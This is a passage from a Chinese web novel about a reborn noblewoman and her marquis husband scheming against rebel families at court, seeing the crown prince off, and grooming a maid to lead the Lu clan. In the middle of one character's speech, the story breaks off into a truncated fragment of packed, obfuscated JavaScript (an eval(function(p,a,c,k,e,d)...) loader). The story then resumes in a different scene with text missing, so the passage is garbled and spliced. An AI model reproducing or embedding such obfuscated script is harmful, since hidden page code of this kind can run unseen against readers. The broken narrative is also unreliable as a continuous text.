“何况张家可是隐瞒了将近二十年之后,才将这图交出来的。我们侯爷要想帮张大人一把,也不是那么容易的。” 张礼岁拿起酒盏,向他们两个各敬了一盏:“所以这件事还要一起商量一下,看看如何能对咱们有利,就算没有好处,也不能有好处。” “现在这完整的坐标已经在华侯手中了,要是处理不好,华侯不也要惹人疑心吗?华侯夫人就别取笑我了,我们一起来想想办法。” “听听,张大人才是聪明人。” 夏明嫣笑了一下,跟华靖离对视一眼,从完整的坐标到手之后的这一刻起,对于他们来说最重要的已经不是用这东西来破那四家的联盟了,而是要如何破了圣上的猜忌。 尤其是根据上一世的经历,他们要防的其实是现在的太子、未来的新君谢维,得不被他忌惮才行, “依我看,这件事还必须让太子殿下参与进来,反正他对南疆很感兴趣。这南疆的事儿,至少至今为止,交到谁手里都是一样的。” 现在要做的就是把海藏从海底取出来,之后不能落到楚、陆两家的手里。 眼下要做的无论是由华靖离这边的人来做,还是由圣上和太子这边的人来做,都是这两件事,那就不如交给谢维了。 第513章忽悠了个傻大胆 由谢维去办,至少让他派几个心腹去盯着,保证这些海藏都如数上交了朝廷了,没有落到华家自己的府库里,这就够了,省得将来再疑神疑鬼的。 夏明嫣笑道:“张家这边也一样,这坐标落在你们手里这么多年,谁敢说你们手里就一定没有另一半了?要不能让他们亲眼看到海藏之前是从没被任何人动过的,别说圣上和太子了,谁也不能说就一定相信你们。” “张大人今日来,应该还有别的事儿吧?您是个聪明人,应该不会手上什么都没有,就来请我夫君解决这么大的麻烦吧?” 好一个华侯夫人,献出坐标,虽然有风险,可怎么说也有一些功劳吧?被她这么一说倒完全成了麻烦了。 好在张礼岁清楚他们夫妇的为人,知道他们张家该有的功劳不会被他们占了,他们正愁功高震主呢,也不会贪他们这点儿功劳。 这一次四家密谋能在开始前就变成了三家,正是夏明嫣已经通过内宅的手段从夏明月入手,破了楚、夏两家的联盟,这已经算是一功了。 陆家在彭州养了人马,彭州与北疆相邻,将来少不得还得动用华家旧部的力量,这又是一功。 若是是这确定海藏位置的功劳再落在他们手里,华家可就太扎眼了。 因此他们不但不会贪张家的功劳,还会想法子把另一半坐标的功劳都推给别人,这当中自然少不了张家的一份。 华靖离先给他吃了一颗定心丸:“明日一早我便进宫与圣上和殿下言明此事,太子殿下若是派人去查,我会奏请由张家人陪同前往海疆。这人选,张大人现在可以开始想一想了。” “好。” 张礼岁击了两下掌,插科打诨地道,“陆家的人进元京了,我按照华侯的吩咐,也跟守城军的乔老将军商议了一下,假装没有察觉,放了他们进来。” “你们猜,他们进了元京之后去了哪家府邸?我先说一下,去了两家,有一家,你们一定想不到!” 夏明嫣看了张礼岁一眼,想着这事儿也不好全瞒着他了,人家把一半的坐标都给了他们了,该得到些回馈了: “一家定然是端侯府,另一家……使我们钩翊侯府,可对?张大人一定好奇,我跟侯爷都不在府上,他们来钩翊侯府干什么?” 张礼岁愣住了,他没想到夏明嫣竟然会主动承认他们跟陆家有关系:“难不成二位已经策反了陆家?他们是不是派人来投诚的?” “还没到那一步,不过也不像张大人所想的那样,至少直到今时今日,我们跟陆家都没有任何直接的往来。只不过是我们府上有一个人,特别被陆大人牵挂。”夏明嫣笑道。 张礼岁猜测了一下:“是陆家从前的老仆或是师爷、心腹之类的人?当年他们虽说是举族发配,可总有遗漏的。” “不是心腹,是骨肉,他有一个流落在外的女儿,最近才刚刚确认了身份,不巧此人正是身边服侍的人。” 夏明嫣半真半假地道,她只提到了画扇,也猜了陆远山派来的人去的另一家是端侯府。 可是陆家人去端侯府也可以是去跟李玦密谋的,她可半个字都没提夏明月也是陆远山的女儿,就这么让张礼岁猜去吧。 张礼岁果然想差了:“好好好,我知道了,我不问了。这里面的水深啊,我们张家果然不能跟你们这些高门大姓比。夏大人平日里看着笑呵呵的,没想到这么早就把陆家的女儿收到身边,还把她放在了自己的亲生女儿身边。” 还有些话张礼岁没说,还是安排在了最不受宠的长女身边送到了卢阳,之后还安插进了钩翊侯府。 但其实夏庸哪有那远见,要不是夏明嫣上辈子后来的经历,整个夏家除了乔嬷嬷,根本就没人知道画扇的真实身世,就连画扇的亲生母亲霞姑姑都被蒙在了鼓里。 华靖离敛下目中笑意,假装他们都是这般高深莫测的:“张大人,这下可以信任我们了吧?陆、楚两家就像隐藏在暗处冬眠的毒蛇,让他们再隐藏下去,拖到华家南迁完成,恐怕会再生变故。” “以华某之见,此事宜早不宜迟,不如在我等年富力强时便动一动,不知张大人以为如何?” 张礼岁只是不想让灾祸波及张家,并非不想建功立业,自然是一拍即合了:“张某也以为甚好,但是陆家那边还得激上一激,就是不知道贤伉俪有没有办法,毕竟彭州路途遥远,又已封城良久,像张某这样的人实在鞭长莫及啊。” “他们封闭城门,咱们就想法子让他们开门,我们手上可不止有陆大人一个女儿哦。” 夏明嫣明眸善睐,不之情的张礼岁还以为他们手上除了那侍女还有别的东西呢,哪里想到只不过是再多了一个陆家女儿而已。 华靖离没挑明这一点,心里想着你就坏吧,让人家以为咱们有彭州多少东西呢,说不好华家军都把彭州给围了呢。 她这么说,就是要让张礼岁放开胆子往里跳,没办法,现在缺人手啊,连孙允斌这样的乱世奸雄他们都得人尽其才,何况是为官圆滑却不失正直之心的张礼岁呢?都得用上。 三人商量了半晚上才散,第二日华靖离便进宫禀明了一切,张家隐瞒坐标一事也被他美化了,只说是张家家主不通地理和海上之事,当日那义子留下了好些兵书手稿,这坐标隐藏在手稿当中,张家也是后来才发现的。 老端侯已死,张老太爷也没了,现在的张老爷子知道这是坐标之后也没处寻仇去,不知如何是好,直到最近张礼岁跟华靖离相交之后,听说了一些事,才明白了当中利害。 张礼岁让心腹回了老家,才将这半分坐标拿了回来。而且这也的确不能完全怪张家,张家这坐标是那义子临死前写下的,可他没写完就死了,也就是说这半份坐标也有不全之处,还需要之后补全。 圣上委派了太子谢维负责海藏探取一事,谢维即日起以在东宫闭门修书为由,秘密前往南疆。 谢维启程的那天还是夏明嫣和华靖离亲自去送的,在城外山道旁的一处古亭前,周围早已被护卫清干净了,只有谢维要带去南疆的人、来送行的华靖离和夏明嫣,还有几个负责接引他们的华家护卫和已经换作中原装扮的寨民。 夏明嫣看着谢维对着华靖离那副依依不舍的样子,心里头一直悬着的那块儿大石终于放下了。 第514章送行 上辈子,华靖离之所以会一败涂地,就是因为他与谢维离心,其实他们两个之间没有大的矛盾,之所以闹得两败俱伤,原因只在于谢维忌惮华靖离功高震主。 那时的谢维不相信这位威名赫赫的北疆之主早已萌生了退意,只是南疆战事又起,他才不得不带领华家坚持下去。 这一世,她终于转变了这二人之间的关系,示弱于人前,让华靖离把谢维当作友人、阿弟一样相处,有事就跟他商量,祛了谢维的疑心,而他们共同作出的决定依旧是朝着有益的方向发展的。 现在终于呈现出了这样的局面,虽说谢维登基之后,他们可能再难是朋友,但是能让他们用这种有商有量的方式相处,让谢维知道华靖离不是那么可怕、足以动摇他地位的存在,这就够了。 华靖离对着谢维拱手行礼:“殿下此去定以自身平安为重,海藏的位置已经有了,那东西跑不了。楚相这边有圣上看着,陆家有臣和北疆诸军看着,都有了准备,出不了大乱子。” “华侯客气,本宫此去既然是为了历练,自然是要尽全力的。等本宫将海藏取出,不仅能丰盈大恒府库,华家南迁所需抛费,定然也不会亏待了。” 谢维由衷地道,他母家不及兄长强势,这次若能得到海藏,便占了一个财势。 大恒马上就要进入休养生息的阶段,正是处处都要用银钱的时候,他占据了这一优势,他的储君和未来新君之位就彻底稳了。 华靖离跟他相比,正好处在一个尴尬的年纪,说是兄长也可以,论辈分说是小叔叔也可以,从前他把华靖离当作长辈看,难免感到威压甚重。 经过了最近这些事,他如今却改变了看法,这个凡事都愿意与他商量,让他自己做选择的华靖离,甚至比他的父皇还要可亲、可敬。就比方说这一次的南疆之行,他都恨不得能跟华靖离一起去。 华靖离哪里敢受,非常受宠若惊地道:“不敢受殿下恩誉,华家本就是行伍之家,待到南疆太平,是要卸甲归田、变为耕读世家的。这些年各家各户蒙圣上和历代先皇恩赏,自己也经营了些庶务,养活自己和后代子侄已然足够。” 他像是在说悄悄话似的半开玩笑地道,“这银子要是太多了,子弟容易不上进,也容易惹是生非,殿下快饶了我吧。将来殿下有的是要用银子的地方,就放到府库里,慢慢用。” 这些财物本就是老端侯用自己私产和大恒府库的存银做本钱得来的,取出来时华家即便出了力,那也是在为朝廷尽忠办差,除了朝廷给的军饷和俸禄,并不该有所贪图。 这一表态,既说明了华家没有觊觎之心,不会像那四家一样图谋不轨,再就是说把这些财富都归于朝廷府库,将来留给谢维用,这就是认准了谢维是将来的新君了,因为只有新君才能决定府库中财富的用途。 谢维一下子就听懂了,对华靖离更加亲近,看着他的眼神就仿佛在看着亲兄长一样: “华侯忠君体国,待本宫回来定向父皇禀明。若非有华侯相助,本宫根本不会有去南疆历练的机会。将来……等本宫回来,华侯可千万不要与本宫生疏了才好。” “还有那陆家,本宫还是担心他们会趁着华家南迁,趁机入元京生事。元京和父皇那边就要托付给华侯和乔老将军了。” “殿下只管放心前行,圣上和元京百姓有臣等护着。” 华靖离知道谢维上一世登基之后是什么样子,自然不敢真的跟他称兄道弟,他始终保持着君臣之间的距离,这种分寸感弄得谢维也放不开姿态。 见话说得差不多了,夏明嫣上前解围,也顺道把给谢维带的东西让人送了上去,那些东西足足塞满了两辆马车: “殿下就别为难他了,您是没见过他怎么跟家里的阿弟说话的,那叫一个不苟言笑,二弟从前都不敢接近他。” “这不,来之前还跟妾身说要多跟殿下准备些路上和海边儿用的东西,那边的水土跟元京不一样,可得小心着。妾备了些药材、丸药、药膏和咱们北方产的干菜,您要是路上用不上,随手赏了当地人就是了。” 南疆湿气大,过去的头几年容易长疹子,上回谢维去折腾了一回,这回把药都给他备上,能安生些。 这一路上,别看他是太子,可是微服出行,不能惊动沿路府衙,南疆那边也没有行宫,许多时候都要宿在山里和路上简陋的客栈里,吃的用的都得准备。 要是有路上用不到的,也可以送给沿路认识的寨民,尤其是丸药和药膏,之前在寨子里推广的时候都很受欢迎,这样也能拉近谢维和沿途百姓的距离。 就是这两辆马车,也是改良过的轻型的,等腾出来了,他们也能装些别的东西用。这里面还装了些中原盛产的丝绸,可以用作礼赠……真是能想到的都备下了,没有一处不贴心的。 有了之前的经验,谢维满口称谢,夏明嫣配的药在南疆已经闯出名气了,至少针对南疆的气候、水土,这些药比太医院的还管用: “有劳侯夫人了,等本宫回来,一定要跟华侯痛饮三日,到时候侯夫人也一定要来。” 华靖离客气了一番,再三叮嘱谢维路上要小心,因为下一步就是提前激反陆家,虽说陆家人在彭州,可南疆毕竟还有很多楚霆孝和端侯府的势力,万一他们对谢维动手,他得懂得如何自保。 谢维出巡,虽然是微服,周围也是跟着一众暗卫的,具体的不需要华靖离操心,操心太多,反而显得他们在窥视似的。 这些话只需点到为止,自古富贵险中求,皇室当中不为富贵,因为他们生来富贵,可为了权势,原本就会更加凶险。 夏明嫣和华靖离站在古亭里目送着车队消失在官道尽头才上马返回元京,此时虽是冬日,元京却不怎么冷,骑马的时候被寒凉的小风一吹,很是舒服。 夏明嫣打量着华靖离难得小心思外露的眼神,带着意趣地笑道:“夫君这是想到什么高兴的事儿了?听殿下的意思是回来他要摆宴,叫我也去,可他没提青青,你是在为青青高兴么?” 上一世,谢维听了圣上的话娶了华青青做太子妃,导致华青青凄惨半生后在宫中凄凉死去,临死前还目睹了家族败落、家人离散。 这一世,在夏明嫣的熏陶下,华青青变得开朗、坚强了许多,可她的婚事依然悬而未决。 第515章朝堂发难 圣上那边提过两回了,都被华靖离以华青青身子弱恐不利于生养而婉拒了。 上一世这个时候他还在养伤,赐婚之事压根没有征求他的意见。华青青这性子,还是不要嫁入皇室为好,既然征求了他的意见,他自然不会答应。 可圣上并没有真正松口,一有机会还是会暗示这是一桩好姻缘,还说可以让夏明嫣教上华青青几年,再让她嫁过来。 这风声一传出去,想来华家提亲的也不敢来了,华家这边刚解决了华靖和的婚事,定下了乔依心,华青青这边却没有一个合适的人选。 华靖离笑了一下,显然是不怎么担心的:“圣上有意赐婚,这事儿殿下一定知道,他心里应该对青青没什么想法,也知道我拒绝了,他也乐得装糊涂。” “有他这个态度就够了,就算圣上再提起,只要他自己不愿意,我就有法子拒绝。这门亲事不能结,不仅是因为青青的性子担不起如此重大的责任,也是担心君心难测,万一哪天又不好了,青青夹在中间受罪。” “是啊,还是别为难她了。正好现在殿下去了南疆,回来怎么也得半年之后了,趁着这个机会把亲事定下来。” 夏明嫣催马向着远处的一处矮丘骑了过去,身后马蹄声不远不近地跟随而来,让她不自觉地感到舒心。 远处的将风景高远壮阔,她想像着这个季节南疆依然秀美的景色,再看向身边的人,不由得感慨两世以来的际遇。 这一世,她没有陷于仇恨之中无法自拔,可她的心愿也都达成了,还与他成了眷属,弥补了彼此的遗憾,还有什么不知足的? 回府之后,华靖离便着手增强元京防务之事,这些事夏明嫣不懂,便由着他去张罗。 如何外松内紧,能让人进来之后出不去,还要防止陆家跟楚家的人串联多了城防关卡,都要他跟乔老将军商议。 如今华靖和跟乔依心定了亲,华家和乔家也是亲家了,不仅商量起来更方便了,他们的利益也是一致的,谈起策略来也更能说得开。 华靖离暗中把乔老将军请到府内,二人关在静园里两日没出来,出来之后华靖离就去上朝了,第一本参的便是陆家在他回元京的路上设伏刺杀他。 之前他遇刺一事对外一直说在查证,有人说是祁笛人潜了进来,也有人说是当地的山匪认错了人,也有人怀疑是北疆其他几个军侯府中有人与他有了嫌隙,想要借刀杀人……说什么的都有,一直没有定论。 这一回由他带着人证物证走上朝堂,顿时引起了轩然大波,众朝臣纷纷议论,说这陆家流放都快二十年了,原以为在彭州那样的苦寒之地,恐怕都没剩几个人了,如何还能兴风作浪? 可紧接着吏部就有回报,吏部尚书甚至自认失职,说那彭州的城守尸位素餐,已有些年头在每年的上表中敷衍了事,而且派去巡边的官员因为不得其门而入,加之不认为彭州那地方能出什么大事儿,一直在奏表中弄虚作假。 也就是说彭州那地方如今很可能已经不是朝廷委派下去的城守在管了,这城守要么成了陆家的摆设、傀儡,要么早就与陆家同流合污了。 而且陆家如果当真控制了彭州,光是彭州和附近的流徙之人和山匪就可能拉拔起一支两三万人的队伍,这还不算彭州西面荒漠里可能隐藏的。 那地方是大恒与邻国交界之处,自来有许多人口是两国百姓结合所生,许多都没有户籍,这些人纠集起来还不知道有多少呢。 有些人还抱有幻想,说也未必就如华靖离所说的这般严重,就算刺杀之人的确出自彭州,也可能只是陆家或是那边山匪的一部分势力,想要挑衅朝廷、劫掠财物才坐下那等大事。 可还是旨意的声音占了多数,就连如今还在暂领兵部侍郎一职的夏庸也没有反驳华靖离一派的看法。 圣上当即下诏要派亲使前往彭州,带彭州城守等一干人等回元京述职,并同时调集兵力以防彭州生变。 整个过程楚霆孝一言未发,圣上也没有单独问他一句话,旁的大臣本想问问楚霆孝的态度,见此情况再想想从前陆家与楚家的关系,这才想起两家曾经差一点儿就成了儿女亲家,这一想就把楚霆孝表现出来的冷淡和尴尬联系了起来,也就没人敢逼他说话了。 可楚霆孝这个态度也让有心人展开了联想,作为几代世交,在这一代还要亲上加亲的人家,尽管解除了婚约,就真的没有一点联系了吗?难不成这件事楚霆孝不仅知情,还跟他有关? 尤其是虽然圣上对楚霆孝没有一句责难,但散朝时看他的目光却比寒冰还冷、比刀剑还利,这就更让人浮想联翩了。 以至于散朝时再没人敢跟楚霆孝走在一起,反倒是连声“外祖父”都不肯叫的华靖离落在了众人后面,故意跟楚霆孝走到了一起。 “相爷,陆家之事已露,您老还打算……一条道走到黑么?我看夏大人平日里温温吞吞的,关键时候倒不失为一个聪明人。” “您说您都这把年纪了,不折腾这一回,您的儿孙里出息的一样可以位极人臣,所得富贵权势未必就比成了那件事之后的差。这儿可是元京,那南疆有什么?” 南疆除了那几个王所在的大城,其他地方不是山林和寨子,就是茫茫丘陵,荒芜得很呢。 就算在那地方做了皇帝又如何,不过是另一种意义上的土皇帝罢了,哪儿有在元京做丞相和丞相的子孙来得好。虽说南疆是楚家的祖地,就非得回去么? 楚霆孝看了华靖离一眼,眼中露出苍老却又执着的神色: “华侯毕竟还年轻,华家又历来随战事定居,没有真正的故乡、故土,不会理解老夫这样一个老者对于故土的执念。况且既然华侯心里什么都清楚,又何苦再玩儿这猫捉老鼠的伎俩?” “事到如今,夏庸只是老夫的女婿,谁都知道他从前虽然是兵部尚书,到底是托了老夫的福,他行同赘婿,实际上老夫并没有把他当作心腹。他能退,老夫却不能。” “就算老夫现在要退,难不成圣上还能对老夫和楚家既往不咎?既然如此,那便走一步看一步吧。华侯,既然你和你的夫人都不肯叫老夫一声‘外祖父’,那便不用担心老夫和楚家会牵连你们夫妇。” “可若是老夫能够得偿所愿,等到他日华侯和华家遭人忌惮而无处容身之时,也就别想占老夫便宜了。” 第516章一条道走到黑 危机四伏时未相助,登上高位之后也别想沾光,这是人之常情。 华靖离咂了咂嘴,露出些许在军中时的痞气:“相爷这是把我当成什么人了?我岂是那等只要贪功却不敢冒险之人?再说了,您这船虽大,可这片海却是格外的风高浪急。” “相爷是运筹帷幄之人,而我是行军之人,有些话不得不提醒相爷。有些人看似忠心,可与您远隔千里、万里,又多年未见,如今心里到底是怎么想的,可就不得而知了。” “别说什么世代的交情,更别说您能把握人心,当年陆家事败,举族发配,虽说也是为了暗中养下人马,是计策之一,可您果断斩断儿女姻缘是真,楚家在元京享了二十年的福,陆家在彭州苦寒之地和当地蛮族中艰苦求存,折损了大半族人。” “您呢,孙子、外孙、外孙女承欢膝下,各个都说自己是楚家后人。而那陆家呢,听说陆远山连后嗣都绝了。就算他承了父志,心志无比坚韧、未曾转移,其余的陆家人和他们后来收拢来的人马可会这么想?” 当年陆家本想通过兵部被派往中原与南疆交界处驻守,从而依靠南疆的山地和峡谷圈养私兵,却不想,圣上竟然发现了陆家的计划。 当时陆家掌事的还是陆远山的父亲陆老大人,圣上便有意直接将这一众人等问罪,那可是祸及满门的大罪,至少陆家的嫡支都会丢了性命。可是圣上冷静之后还是决定要留着陆家,借以钓出端侯府藏在海中的那些掏空大恒府库才得来的财宝。 于是,将陆家发配往寒冷、荒凉的彭州,圣上那时便做好了陆家依然会在彭州养人马的准备。 可彭州不比他们原定的驻扎之地利于养兵,且距离元京也更远,在那里养兵实属不易,就算养起来了,人数上达到了一定的规模,可因为粮草和给养上跟不上,这些人的战力也会有限。 换言之,陆家养起来的兵,经过多年彭州的搓摩,他们自己或许以为会能与北疆军一战,实际上却有相当一部分是自以为很厉害的井底之蛙。 陆远山想来也有这样的意识,因此他养出的心腹嫡系最擅长的并非沙场作战,而是暗中刺杀……这些都是在华靖离遇刺之后被查证到的。 上一世之所以没有查到这些,是因为华靖离那时的伤一直没有治好,这中间楚、夏两家早已将当中证据销毁了个干净,嫁祸给劫掠军饷而认错了人的山匪,并且杀良冒功,害当地许多山民死于非命。 而如今还活着的陆家人早已在彭州的艰苦和新旧人马的权利交替下磨没了心志,过去他们沙场征战为的是守护大恒安宁,后来变成了蝇营狗苟、图谋不轨。 过去他们争的是立功受赏、位极人臣,现在变成了跟收拢来的当地蛮族、流放罪徒等等鸡鸣狗盗之徒,争吃食、争衣料、在那彭州土城里争那一亩三分地的统治权…… 后收拢来的人原就跟陆家人没有什么同仇敌忾的旧情,为的都是那个从彭州到南疆水土丰饶之地的远大许诺,这些人的眼里只有利益。 这些人自然是听过楚家的,也知道楚家是他们将来荣华富贵的倚仗,可是除此之外,只要别人也能够保证他们得到荣华富贵、封赏官位,他们也一样会认这个“别人”。楚家不过是一个可以被替代的代号罢了,他们之间毫无袍泽之情。 这些人真的能为楚霆孝可用吗?当然有这个可能,可他们即便真能打到南疆去,在利益的挑唆和驱使下,这些人一样可以为割据在当地的常王和诸王所用。 楚霆孝没有回答,华靖离又提醒了一句,“即便你们暂时拖住了元京王师和北疆、中原各路军马,侥幸进入了南疆,这些人早已人困马乏,他们可是常王他们的对手?” “就算这些把常王也打趴下了,南疆还有诸多当地的土族,大大小小的统领不在少数,你们却人困马乏,可是他们的对手?诶,当年您几位谋划此事的时候大概没想过南疆会是如此局面吧?” 若是当年陆家和端侯府未提前露了马脚,那么他们起事之时就能提前许多,许是十年前就可以了,那时的南疆局面远没有今日复杂。其中势力最大的常王那时还是个病弱的书生,还挣扎在老常王的诸子之争中,远不像现在身康体健、羽翼丰满。 若是他像上一世,光是在那次刺杀所致的伤病中就挣扎了多年,而圣上也因为到了风烛残年、日薄西山之际,为了新旧交替,不敢再生大的变故,以致于这四家起事又延后了近十年,给他们争取到了一个南疆势力衰落之时,所以上一世他们谋划的事成了。 可是这一世不一样了,华靖离和夏明嫣的重生虽然没能挽救这长变故的第一次延迟,可是却将第二次延迟打消了,让这场变故提前了十年,此时正是南疆诸王势大,也是他们由盛转衰的前夕。 此时的局势对朝廷有利,却对陆家和他们四家的联盟不利,正是楚霆孝该担忧的时机。 楚霆孝不法缓慢,到底是年纪大了,下这玉阶时得慢着点,以免滑了脚,从这儿摔下去。半晌过后,他幽幽地开口道: “都到了这个时候了,辛苦了大半辈子,不试一试,如何能够甘心?华侯可能觉得老夫只是在争一个鱼死网破,可对于老夫来说却是鹿死谁手还不知。” “老夫的先祖若不是当初试了试,早就如同那些个守旧不前的前朝遗族一样变成平头百姓了,哪里还能做了三十年的大恒左相?” “楚家的根在南疆,在当地的根基比诸王要深,这一点就不劳华侯操心了。况且就算老夫现在罢手,就真的能够安享晚年、荣耀子孙了么?” 楚霆孝抛下这句话便加快脚步扬长而去,华靖离看着他已显现出老迈之态的背影不觉失笑。 人啊,总是爱相信自己愿意相信的东西,楚家在南疆那些后人连陆家招揽的那些人都不如,那些人早就是南疆诸王的子民了,要是知道他们要去,说不定正摩拳擦掌地等着干掉他们呢,哪儿还能欢迎他们回去。 做了大半辈子丞相的人的确要自信很多,不然他就不会以为陆远山带出来的人会抛下陆家人,转头去效忠他了。 不过有一点楚霆孝说得对,以他在朝中的地位来说,他退不了了,他即便现在跟夏庸做出一样的选择,他也会不得善终、祸及子孙,他注定只能一条道走到黑了。 第517章想当陆家家主吗? 钩翊侯府中,夏明嫣把画扇叫了去,这些日子以来她请了最好的礼仪姑姑和女塾师傅来教导画扇和于杏儿,让她们尽快适应彼此新的身份。 这两位师傅都是仔细挑选过的,画扇和于杏儿在礼仪和学识上的底子都不好,尤其是于杏儿,这二人的讲授通俗易懂且极具耐心,正适合这二人。 画扇的底子要好很多,这些日子以来已经有了些模样,被叫过来时她盈盈下拜行礼,已然像是一位小家碧玉了。 “夫人有何吩咐?可是陆家人又来了,我该做些什么?” 夏明嫣从头到脚将她打量了一番:“倒是像点样子了,陆家来人认了你,我还以为你要端起大家小姐的架子了。” 画扇不好意思地红了脸,之前她也有过幻想,可是当她见了陆家派来的人之后,她的这些幻想彻底被粉碎了。 画扇吱吱唔唔地道:“什么陆家,像在卢阳见过的山匪似的,灰头土脸的,一张嘴一股羊膻味儿,跟着他们,还不如我现在过的日子呢。谁也别拿什么孝不孝顺的教训我,我知道他是我爹才几天,他也没管过我。” 重要的是来人看着他的目光满是质疑,确认了她的生母只是服侍楚氏的人之后对她一脸嫌弃,还说陆远山的如夫人的母族出身萧氏,这不就是敲打她出身卑贱么。 那萧氏往上数的确是高门世家,可已经败落了至少两代了,那妾室严格来说是罪女之后,要不然也不会跟着陆远山去了彭州。 画扇如今已经脱贱入良,是堂堂正正的大恒百姓了,她的想法一向实用,才不管什么过了气的贵女呢,当时就想翻个白眼儿给那些人看,好在忍住了。 况且她看得出来,那些人来看她,仅仅是来确认她是陆远山的骨血的,根本就不是重视她。夏明月都声名狼藉成那样了,他们还赶着去看夏明月呢。 “夫人,要是他们真认了我,最后我不会要跟着他们掉脑袋吧?我可以不认他么?他以前都不知道是我娘……” 说起来这个妾室还得感谢霞姑姑,当年陆远山醉酒后将同样醉酒的霞姑姑当作楚氏发生了关系,在霞姑姑还没有清醒之前,乔嬷嬷就将她背了出去,假装她是跟她后来嫁的那个小厮发生了关系。 而陆远山这边,顶替了他前一晚枕边人的正是这个妾室,也是她会抓住机会,从一个舞姬成了陆家妾室。 如今陆远山虽然因为楚氏的关系,一直没有娶正室,可这妾室能被称为如夫人,可见已经当了陆家内宅的家了。 夏明嫣笑了一下,画扇现在是不敢在她这儿使什么花招了,可是趋利避害的本性并没有改,将来还是打发出去的好。 上辈子画扇还害**秋果,做了夏明月的帮凶,这辈子虽然画扇还来不及作恶,就被她给钳制住了,她也不能让她过得太轻松了。 纵使不应该用上辈子的错误惩罚这辈子的人,就像夏明月,要是她重生之后改变了,夏明嫣也不会一步步地把她往深坑里引,是她自己作死,还在害她和华靖离,甚至还要通过利用李玦把大恒百姓往沟里带,一切都只为了她自己的荣华富贵和小情小爱,这种人就活该被收拾。 可对于画扇这样的也不能完全放过,必须得给她头上悬个“秤砣”,让她能感受到她要是敢故意害人,这个“秤砣”就会掉下来砸她。 “认定然是要认的,就算你不认,将来他们想对夏家或是华家动手,也会主动找上你。你啊……逃不脱。” “何况你在我这儿不需要摆出这副畏畏缩缩的样子来,都是卢阳老宅出来的,从小一起长大,虽是主仆,已经与姐妹差不多了。” “你别觉得我在哄你,虽然你曾经对不起过我和小娘,可你怎么说也比端侯夫人这样的姐妹强吧?诶,你们还是亲姐妹呢,她都是端侯夫人了,我多少也得给你安排个前程啊。” 画扇眼睛一亮,但随即目光又黯淡了下去,这一听就是跟陆家有关的,哪里就那么容易了,而且那不是一条死路么。 她尴尬地笑了笑:“夫人说笑了,我要什么前程,如今学这些,也就是在应对陆家时能体面些,不至于丢了夫人的脸面。” “我现在跟以前不一样了,再不敢起那些歪心思了,那位于姑娘好歹是夏家的真千金,现在大人也安生了,您要是想把她送回 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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虽说朝廷也有女官,但女官躲在惠民署和户部,地方上,女官则多担任文书和民生方面的官职,手上少有有大权的。 要是陆家的新家主是个女子,尤其是像画扇这样的一个人,手上就不会有太大的权力,那她就得更加依靠朝廷,还能跟城守相互制衡。 而且女子当家,家族里的阻力不会小,尤其还是个后来才认回去的姑娘家,还不是那位如夫人生的,这样也能保证陆家人自己不会抱成一团儿。他们自己先分化了,就不可能轻易坐大。 第518章不必亲力亲为 一听到这些朝堂上的勾勾绕绕,画扇反应就慢了半拍,一时间她也想不太明白,但是夏明嫣的结论她记住了。 总之就是这陆家将来的新家主要配合城守管好彭州,而这个人如果是个女子,朝廷应该会乐见其成。 画扇心里一跳一跳的,可很快又苦了脸:“可再是家主,彭州那破地方,还不如卢阳。在那儿待一辈子,还不如在元京做个市井妇人吧。” 越往下说声音越小,画扇低着头,生怕夏明嫣真把这事儿给促成了。 宁为太平犬,不为乱世王,做彭州实际上的主人也不是什么好差事。 夏明嫣笑了笑,那眼神儿仿佛在说“你怎么这么没见识”:“你不会以为市井妇人就好做吧?遇上个刻意刁难的婆母,一大家子一天到晚地为了三五钱银子互相算计,就好过了?” “贫贱之时百事哀的可不只有夫妻,那一大家子还有你将来的孩子都得跟着你一块儿‘哀’。你可别觉得彭州的日子苦,那是对那些流放之人和寻常百姓来说的,你想想南疆诸王和那几个军侯的日子苦么?” 南疆大部分地区都是荒蛮之地,就算是没有瘴气的地方,也多是丘陵地和山林地,很多地只能种菜、药材和茶叶,可人不能短了粮食,而菜蔬、药材相对起来都不容易储存和运输,也就不方便买卖和换取粮食回来。 因此,这南疆百姓光是为了换取粮食、药材和日常用品,就没多少能过上好日子的,可当地的诸王和军侯过得不好吗? 他们过得好的不得了,甚至相较于中原的诸王和军侯来说,他们少了朝廷的约束,过得还更好,在当地的地位也更高,不像在元京,势力强、地位高的人到处都是,顾忌颇多。 画扇把话听进去了,目光显然不像刚才那般坚定了: “可是即便日子过得还不错,我也不会那些,这城守怎会被我牵制?还有陆家那些人,也不会是省油的灯,就怕我连陆家人都压服不了,让朝廷和侯爷、夫人失望。” “这些你倒是不用担心,经过这件事之后,朝廷自然会把陆家人里那些不听话的刺头给收拾了,只留下那些听话的。” 夏明嫣继续宽她的心,倒也不是骗她,这些事迟早会变为现实,她只是把将来可能面对的情况告诉她罢了, “要是有可能,朝廷很可能留下陆大人的性命,将他软禁在元京,而元京这边则会更看重你的态度,你孝顺他,他才能更舒服地活下去。这样以来,你既可以做个孝顺女儿,又可以借他的余威牵制陆家。” “再说了,这么大的事儿,朝廷也不会放心只派你一个人去,你身边之人定会帮你出主意,见事情不妙,也可以替你回元京或是向附近的城府求援。你若是不想操那个心,也可以让此人为你全权打理,就像邓姐姐在帮我做事一样。” 华靖离和她以后会有很长时间都在南疆,董氏又要跟华叶峰一起住进御赐的别院里,因此从现在开始侯府内宅的许多事儿就由邓澜和华青青还有秋果共同打理了。 如今的侯府清静得紧,就连华靖和成亲之后也会跟乔依心一起分出去住,在摆平了大的利益**之后,许多事就没有必要亲力亲为了。 见夏明嫣神情笃定,画扇的心渐渐放了下来,最终笑得像朵花儿似的点了头: “那就……一切听凭夫人做主了,我没什么大志向,日子过得好就行。还有我娘,如果真有那一天,就算陆家不认她,我认她就行了。” “曾经的北疆也只是一片片的草原和荒漠,你也可以让彭州变得更好。” 这是一个美好的愿景,不过人各有志,这件事也不是非得画扇去做,夏明嫣并不打算勉强她。 不过既然接受了他们的扶持,也该做出点贡献,哪怕一点点都可以,也算她在这件事上入了伙了, “之前陆家人来确认你的身份,可有交给你什么凭信?有的话,借给我用一用,过几日就还你。” 画扇哪儿敢不从,从袖袋里摸出一块儿玉佩来:“夫人,就是这个,说是陆家子弟无论男女都有的。他们也见过我娘和乔嬷嬷了,没想到,乔嬷嬷竟然会说了实话。” 乔嬷嬷是楚氏的心腹,按理说不会把这件事告诉陆家人,而在她说出真相之前,显然没有跟楚氏说这些话,要是说了,楚氏还 